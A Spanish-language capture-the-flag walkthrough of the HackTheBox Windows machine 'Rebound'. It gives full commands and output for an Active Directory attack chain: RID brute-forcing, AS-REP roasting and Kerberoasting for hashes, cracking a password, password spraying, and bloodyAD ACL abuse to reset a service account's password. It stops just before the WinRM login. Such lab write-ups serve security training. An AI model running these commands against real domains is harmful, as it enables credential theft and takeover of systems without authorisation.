Rebound es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Insane.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Rebound 10.129.10.89 a /etc/hosts como rebound.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.10.89 Nmap scan report for 10.129.10.89 Host is up, received reset ttl 127 (0.058s latency). Scanned at 2023-09-13 06:01:21 GMT for 13s Not shown: 65456 closed tcp ports (reset), 53 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127 5985/tcp open wsman syn-ack ttl 127 9389/tcp open adws syn-ack ttl 127 47001/tcp open winrm syn-ack ttl 127 49664/tcp open unknown syn-ack ttl 127 49665/tcp open unknown syn-ack ttl 127 49666/tcp open unknown syn-ack ttl 127 49667/tcp open unknown syn-ack ttl 127 49669/tcp open unknown syn-ack ttl 127 49682/tcp open unknown syn-ack ttl 127 49683/tcp open unknown syn-ack ttl 127 49684/tcp open unknown syn-ack ttl 127 49701/tcp open unknown syn-ack ttl 127 49715/tcp open unknown syn-ack ttl 127 49721/tcp open unknown syn-ack ttl 127 60072/tcp open unknown syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Wed Sep 13 06:01:34 2023 -- 1 IP address (1 host up) scanned in 13.54 seconds |
Una vez lanzado el primer escaneo, vamos con uno más en detalle sobre los puertos abiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
$ nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49682,49683,49684,49701,49715,49721,60072 -oA enumeration/nmap2 10.129.10.89 Nmap scan report for 10.129.10.89 Host is up (0.056s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-13 13:01:57Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.rebound.htb | Not valid before: 2023-08-25T22:48:10 |_Not valid after: 2024-08-24T22:48:10 |_ssl-date: 2023-09-13T13:03:06+00:00; +7h00m09s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-09-13T13:03:05+00:00; +7h00m08s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.rebound.htb | Not valid before: 2023-08-25T22:48:10 |_Not valid after: 2024-08-24T22:48:10 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-09-13T13:03:06+00:00; +7h00m09s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.rebound.htb | Not valid before: 2023-08-25T22:48:10 |_Not valid after: 2024-08-24T22:48:10 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.rebound.htb | Not valid before: 2023-08-25T22:48:10 |_Not valid after: 2024-08-24T22:48:10 |_ssl-date: 2023-09-13T13:03:05+00:00; +7h00m08s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49682/tcp open msrpc Microsoft Windows RPC 49683/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49684/tcp open msrpc Microsoft Windows RPC 49701/tcp open msrpc Microsoft Windows RPC 49715/tcp open msrpc Microsoft Windows RPC 49721/tcp open msrpc Microsoft Windows RPC 60072/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: mean: 7h00m08s, deviation: 0s, median: 7h00m07s | smb2-time: | date: 2023-09-13T13:02:59 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Sep 13 06:02:57 2023 -- 1 IP address (1 host up) scanned in 73.38 seconds |
Enumeración
Comenzamos con la enumeración de smb y ldap aunque no conseguimos gran cosa, pero viendo que podemos ver los shares existentes sin necesidad de autenticación utilizamos crackmapexec para realizar una enumeración de usuarios por fuerza bruta
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
$ crackmapexec smb rebound.htb -u anonymous -p "" --rid-brute 10000 SMB rebound.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False) SMB rebound.htb 445 DC01 [+] rebound.htb\anonymous: SMB rebound.htb 445 DC01 [+] Brute forcing RIDs SMB rebound.htb 445 DC01 498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup) SMB rebound.htb 445 DC01 500: rebound\Administrator (SidTypeUser) SMB rebound.htb 445 DC01 501: rebound\Guest (SidTypeUser) SMB rebound.htb 445 DC01 502: rebound\krbtgt (SidTypeUser) SMB rebound.htb 445 DC01 512: rebound\Domain Admins (SidTypeGroup) SMB rebound.htb 445 DC01 513: rebound\Domain Users (SidTypeGroup) SMB rebound.htb 445 DC01 514: rebound\Domain Guests (SidTypeGroup) SMB rebound.htb 445 DC01 515: rebound\Domain Computers (SidTypeGroup) SMB rebound.htb 445 DC01 516: rebound\Domain Controllers (SidTypeGroup) SMB rebound.htb 445 DC01 517: rebound\Cert Publishers (SidTypeAlias) SMB rebound.htb 445 DC01 518: rebound\Schema Admins (SidTypeGroup) SMB rebound.htb 445 DC01 519: rebound\Enterprise Admins (SidTypeGroup) SMB rebound.htb 445 DC01 520: rebound\Group Policy Creator Owners (SidTypeGroup) SMB rebound.htb 445 DC01 521: rebound\Read-only Domain Controllers (SidTypeGroup) SMB rebound.htb 445 DC01 522: rebound\Cloneable Domain Controllers (SidTypeGroup) SMB rebound.htb 445 DC01 525: rebound\Protected Users (SidTypeGroup) SMB rebound.htb 445 DC01 526: rebound\Key Admins (SidTypeGroup) SMB rebound.htb 445 DC01 527: rebound\Enterprise Key Admins (SidTypeGroup) SMB rebound.htb 445 DC01 553: rebound\RAS and IAS Servers (SidTypeAlias) SMB rebound.htb 445 DC01 571: rebound\Allowed RODC Password Replication Group (SidTypeAlias) SMB rebound.htb 445 DC01 572: rebound\Denied RODC Password Replication Group (SidTypeAlias) SMB rebound.htb 445 DC01 1000: rebound\DC01$ (SidTypeUser) SMB rebound.htb 445 DC01 1101: rebound\DnsAdmins (SidTypeAlias) SMB rebound.htb 445 DC01 1102: rebound\DnsUpdateProxy (SidTypeGroup) SMB rebound.htb 445 DC01 1951: rebound\ppaul (SidTypeUser) SMB rebound.htb 445 DC01 2952: rebound\llune (SidTypeUser) SMB rebound.htb 445 DC01 3382: rebound\fflock (SidTypeUser) SMB rebound.htb 445 DC01 5277: rebound\jjones (SidTypeUser) SMB rebound.htb 445 DC01 5569: rebound\mmalone (SidTypeUser) SMB rebound.htb 445 DC01 5680: rebound\nnoon (SidTypeUser) SMB rebound.htb 445 DC01 7681: rebound\ldap_monitor (SidTypeUser) SMB rebound.htb 445 DC01 7682: rebound\oorend (SidTypeUser) SMB rebound.htb 445 DC01 7683: rebound\ServiceMgmt (SidTypeGroup) SMB rebound.htb 445 DC01 7684: rebound\winrm_svc (SidTypeUser) SMB rebound.htb 445 DC01 7685: rebound\batch_runner (SidTypeUser) SMB rebound.htb 445 DC01 7686: rebound\tbrady (SidTypeUser) SMB rebound.htb 445 DC01 7687: rebound\delegator$ (SidTypeUser) |
Tratamos de llevar a fondo dicha enumeración y sólo conseguimos hacerlo con el usuario jjones, con el cual consegimos obtener su hash
|
1 2 3 4 5 |
$ impacket-GetNPUsers -dc-ip 10.129.10.89 -request rebound.htb/jjones -no-pass Impacket v0.11.0 - Copyright 2023 Fortra [*] Getting TGT for jjones $krb5asrep$23$jjones@REBOUND.HTB:c04cd00a95648051a012bfda648c8ef6$c8286c6be3a31928826b621f2ee7bf35c201eea3a331f4bc770a61d0aacc741a61b1a5dfc8dcd0da1a93445990649f0f46fa52d7192bdcc9b3a88e9049e0bbe65431cf827c13d714ab58b37264a3b36b8c40cda57732b763f85e931a7a986b29a85baf374a4ee1749d6c9ae4551e618480519de1adcd1cc1a655009eaa5b429c133e776ef029392ed6ab3591c82ef0bc8e1af6445d9f83536435b873dfde2819fa4555fc5b0e66c35124ce3fe437d4a0f184442930c7a6b0d283ce548f6663b74eb947ec3db10df162baedbc5f6fcc8bbfa2da3c5f61591fe78c2fa8efffbcbdb0460cbcd9814e679015 |
Viendo como hemos obtenido el hash del usuario jjones, para poder obtener más necesitamos aprovechar que el usuario no necesita realizar un preauth, y para ello vamos a tener que trabajar con una versión concreta de impacket.
Descargamos y montamos la misma y ejecutaremos para obtener el hash del usuario ldap_monitor, entre otros
|
1 2 3 4 5 6 |
python GetUserSPNs.py -no-preauth "jjones" -usersfile users.txt -dc-host 10.129.108.163 rebound.htb/ -request Impacket v0.10.1.dev1+20221010.112219.ea8f2efe - Copyright 2022 SecureAuth Corporation ... $krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$c1bcf91c152fd7e601467a2c81bed2de$a7dd44b8c6511fb6abbd5568be686e299241777937a15c033d4a4581c014e8fa0b01cae44d50b6f51e458405663a88579bd3f08c5fe457ecdc85f9ebe500f721665d4ed72191a1f898d3e0e211aba726e66b24aeabd4a72245acca02f2a02a69518ba7aa708343542b76a8e4258ab5e8e06de3bdf4de0ec030c18d65c58c2b89769606ebf827f04be21979166eef9b432b2b9ee56bc106037a5e15cc298f546ae64e5b23861079f3d01045de9f2de90c27db555ce9b50b049d12bda5d70354aa76ad065b857fd55b00074c1e1ae1f58ad94184d875f26600515d74c9574e516131a26a0049406e661953ce4e3c7c4107f89b97b166ac16727f1ae2d5e46c2786b3b5d4d16fe5ffcee25b168f862037c820fda34c1b2b49ce30a4e4a2a5b9ab46c54974bf523efbaca45cd39d95c711a049d593ee02305a176b8ede86e76032c4479edb6fa8e5a0ad781fc81279a0241b85a46253d21abe5fe1ac0d1e583b651e8081fe2b7cf69ffcbd009c4803469510a6348832c8cf55ea2173c2141a23e9437bbcd931a423e02df9932e84339ccc71712089610c2748543b15aa8c176ab1e149557a2a6430ffd238610257af4097356560a08388fad50d8f5a4b9054d40eaf5a6e5e5d5480414e9cf403770f7adc1155633a3338e85fbdad3382ece064b5763a7983adf210315dfca58cac63af0ab5e705c671fe88701d00896b89602d563ed8bde3dc88644c00533ec049f67fd7fa6206f8b1dd543fd83c92d3c0b52a8875e81edebf1bf353849a422ae652248de249d1190f3f480a237b50070972ff291529c07edd6c7649e4cf5c918208440d80439a80e7f6fd1e83bbac56ef91a7b68f623f69e106c6337cdc9bbcff33b8786c95fd8f9b52837da8397b35096363c41bdfec58247c47436fc8f983b7a0729ddd61aa4125bb12c49dadaf8de3a4f6e8606dd90693dd6d81fb931438af1dde64fde78f95b3b471ba335ffd4ba55c4aac0871cf671d0a77cc20509547d1f3802af81817e1ce34393d3a19bb23a076b6956b7515b6b82222d7fbf66c2d3fad8e083c0fb69c51165c2d9ec96303118869d8ac71a9b3f25ff6e8d2b45f54abe0bf3435f760af25fea71f506f30cc1e688a18965f9d2be4c7caefafe6446a50a5611fe89978dfb1fd093c59f9334dc8d44d3fcd44e83bf467a067704ed96b7cedfa5272eb34bf3ebe095dbedc9407df6d0b5807db241dc3ffca2b7b9d8cd28341472d04af3f6b4a9c6a5ecdeff3bed3568431db8227fb5b0a9372bdf694acea4f55c14ecd7ec128b09e693e8ef41016ddbe26bb8df652c1429dbda52428f99256b60f41e4fdcdfe914f03d61aadb11945e28d653da1 ... |
Ahora que tenemos el hash, utilizamos john para romper el mismo y sacar la clave en plano
|
1 2 3 4 5 6 7 8 9 |
$ john ldap_monitor.hash -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1GR8t@$$4u (?) 1g 0:00:00:13 DONE (2023-09-13 07:23) 0.07581g/s 988637p/s 988637c/s 988637C/s 1Gobucs!..1Eoska6 Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Escalado al usuario winrm_svc
Lanzamos un ataque de password spraying con los usuarios y la password detectada para ver si nos es válida con alguno más
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ crackmapexec smb 10.129.10.89 -u dicts/users.txt -p dicts/passwords.txt --continue-on-success -d rebound SMB 10.129.10.89 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound) (signing:True) (SMBv1:False) SMB 10.129.10.89 445 DC01 [-] rebound\Administrator:1GR8t@$$4u STATUS_LOGON_FAILURE SMB 10.129.10.89 445 DC01 [-] rebound\ppaul:1GR8t@$$4u STATUS_LOGON_FAILURE SMB 10.129.10.89 445 DC01 [-] rebound\llune:1GR8t@$$4u STATUS_LOGON_FAILURE SMB 10.129.10.89 445 DC01 [-] rebound\fflock:1GR8t@$$4u STATUS_LOGON_FAILURE SMB 10.129.10.89 445 DC01 [-] rebound\jjones:1GR8t@$$4u STATUS_LOGON_FAILURE SMB 10.129.10.89 445 DC01 [-] rebound\mmalone:1GR8t@$$4u STATUS_LOGON_FAILURE SMB 10.129.10.89 445 DC01 [-] rebound\nnoon:1GR8t@$$4u STATUS_LOGON_FAILURE SMB 10.129.10.89 445 DC01 [+] rebound\ldap_monitor:1GR8t@$$4u SMB 10.129.10.89 445 DC01 [+] rebound\oorend:1GR8t@$$4u SMB 10.129.10.89 445 DC01 [+] rebound\ServiceMgmt:1GR8t@$$4u SMB 10.129.10.89 445 DC01 [-] rebound\winrm_svc:1GR8t@$$4u STATUS_LOGON_FAILURE SMB 10.129.10.89 445 DC01 [-] rebound\batch_runner:1GR8t@$$4u STATUS_LOGON_FAILURE SMB 10.129.10.89 445 DC01 [-] rebound\tbrady:1GR8t@$$4u STATUS_LOGON_FAILURE SMB 10.129.10.89 445 DC01 [-] rebound\delegator$:1GR8t@$$4u STATUS_LOGON_FAILURE SMB 10.129.10.89 445 DC01 [+] rebound\:1GR8t@$$4u |
Y vemos que además del usuario ldap_monitor, nos vale para el usuario oorend y el grupo ServiceMgmt.
Así que, para conocer los siguientes pasos, necesitamos enumerar las acls existentes y los permisos del grupo ServiceMgmt, así que utilizaremos la herramienta bloodyAD
Enumeramos entonces el grupo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ bloodyAD -u oorend -d rebound.htb -p '1GR8t@$$4u' --host 10.129.10.89 get object ServiceMgmt distinguishedName: CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb cn: ServiceMgmt dSCorePropagationData: 2023-04-08 09:07:56+00:00; 1601-01-01 00:00:00+00:00 description: Group used for Services Account management displayName: ServiceMgmt groupType: -2147483646 instanceType: 4 member: CN=fflock,CN=Users,DC=rebound,DC=htb; CN=ppaul,CN=Users,DC=rebound,DC=htb nTSecurityDescriptor: O:S-1-5-21-4078382237-1492182817-2568127209-512G:S-1-5-21-4078382237-1492182817-2568127209-512D:AI(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;S-1-5-11)(A;; SW;;;S-1-5-21-4078382237-1492182817-2568127209-7682)(A;;0xf01ff;;;S-1-5-21-4078382237-1492182817-2568127209-512)(A;;0xf01ff;;;S-1-5-32-548)(A;;0x20094;;;S-1-5-10)(A;;0x20094;;;S-1-5-11)(A;;0xf01ff;;;S-1-5-18)(OA;CIIOID;RP;4c164200-20c0-11 d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-4 5bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)( OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020 -00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a28 5-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-4078382237-1492182817-2568127209-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-4078382237-1492182817-2568127209-527)(OA;CIIOID;SW; 9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-3-0)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86 -0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID; WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;0x2 0094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S-1-5-10)(A;CIID;0xf01ff;;;S-1-5-21-4078382237-1492182817-25681272 09-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544) name: ServiceMgmt objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=rebound,DC=htb objectClass: top; group objectGUID: {a7ea5dce-8c4f-40b5-8863-64fd3c27582d} objectSid: S-1-5-21-4078382237-1492182817-2568127209-7683 sAMAccountName: ServiceMgmt sAMAccountType: 268435456 uSNChanged: 102802 uSNCreated: 69317 whenChanged: 2023-04-09 10:24:00+00:00 whenCreated: 2023-04-08 09:07:56+00:00 |
Y al usuario oorend
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ bloodyAD -u oorend -d rebound.htb -p '1GR8t@$$4u' --host 10.129.10.89 get object oorend distinguishedName: CN=oorend,CN=Users,DC=rebound,DC=htb accountExpires: 9999-12-31 23:59:59.999999+00:00 badPasswordTime: 2023-04-09 09:54:33.452019+00:00 cn: oorend dSCorePropagationData: 2023-08-25 22:04:43+00:00; 1601-01-01 00:00:00+00:00 instanceType: 4 lastLogoff: 1601-01-01 00:00:00+00:00 lastLogon: 2023-04-09 10:21:20.170828+00:00 lastLogonTimestamp: 2023-09-13 14:31:58.492565+00:00 logonCount: 74 nTSecurityDescriptor: O:S-1-5-21-4078382237-1492182817-2568127209-512G:S-1-5-21-4078382237-1492182817-2568127209-512D:AI(OD;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-1-0)(OD;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-4078382237-1492182817-2568127209-553)(OA;;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;;S-1-5-21-4078382237-1492182817-2568127209-553)(OA;;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;;S-1-5-21-4078382237-1492182817-2568127209-553)(OA;;RP;037088f8-0ae1-11d2-b422-00a0c968f939;;S-1-5-21-4078382237-1492182817-2568127209-553)(OA;;0x30;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-4078382237-1492182817-2568127209-517)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;0x30;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)(OA;;0x30;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)(OA;;CR;ab721a54-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;CR;ab721a56-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;;S-1-5-11)(OA;;RP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-11)(OA;;RP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-11)(OA;;RP;e45795b3-9455-11d1-aebd-0000f80367c1;;S-1-5-11)(OA;;0x30;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-10)(OA;;0x30;e45795b2-9455-11d1-aebd-0000f80367c1;;S-1-5-10)(OA;;0x30;e45795b3-9455-11d1-aebd-0000f80367c1;;S-1-5-10)(A;;0xf01ff;;;S-1-5-21-4078382237-1492182817-2568127209-512)(A;;0xf01ff;;;S-1-5-32-548)(A;;RC;;;S-1-5-11)(A;;0x20094;;;S-1-5-10)(A;;0xf01ff;;;S-1-5-18)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-4078382237-1492182817-2568127209-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-4078382237-1492182817-2568127209-527)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-3-0)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x20094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S-1-5-10)(A;CIID;0xf01ff;;;S-1-5-21-4078382237-1492182817-2568127209-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544) name: oorend objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=rebound,DC=htb objectClass: top; person; organizationalPerson; user objectGUID: {edb118e8-3995-45d9-89f1-bf978e4e7fa4} objectSid: S-1-5-21-4078382237-1492182817-2568127209-7682 primaryGroupID: 513 pwdLastSet: 2023-04-08 09:07:56.217527+00:00 sAMAccountName: oorend sAMAccountType: 805306368 uSNChanged: 173482 uSNCreated: 69311 userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD whenChanged: 2023-09-13 14:31:58+00:00 whenCreated: 2023-04-08 09:07:56+00:00 |
Revisando lo visto anteriormente vemos que podemos modificar el grupo ServiceMgmt, así que los siguientes pasos serán:
- Añadimos al usuario oorend al grupo ServiceMgmt
- Añadimos al grupo el permiso de GenericAll
- Modificamos la password del usuario winrm_svc
- Entramos por winrm
Vistos los pasos al turrón, en primer lugar añadimos al usuario oorend al grupo ServiceMgmt
|
1 2 |
$ bloodyAD -u oorend -d rebound.htb -p '1GR8t@$$4u' --host 10.129.10.89 add groupMember SERVICEMGMT oorend [+] oorend added to SERVICEMGMT |
Añadimos el permiso de generilAll
|
1 2 |
$ bloodyAD -u oorend -d rebound.htb -p '1GR8t@$$4u' --host 10.129.10.89 add genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' oorend [+] oorend has now GenericAll on OU=SERVICE USERS,DC=REBOUND,DC=HTB |
Cambiamos la password del usuario winrm_svc
|
1 2 |
$ bloodyAD -u oorend -d rebound.htb -p '1GR8t@$$4u' --host 10.129.10.89 set password winrm_svc 'Password123.' [+] Password changed successfully! |
Y entramos con evil-winrm
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
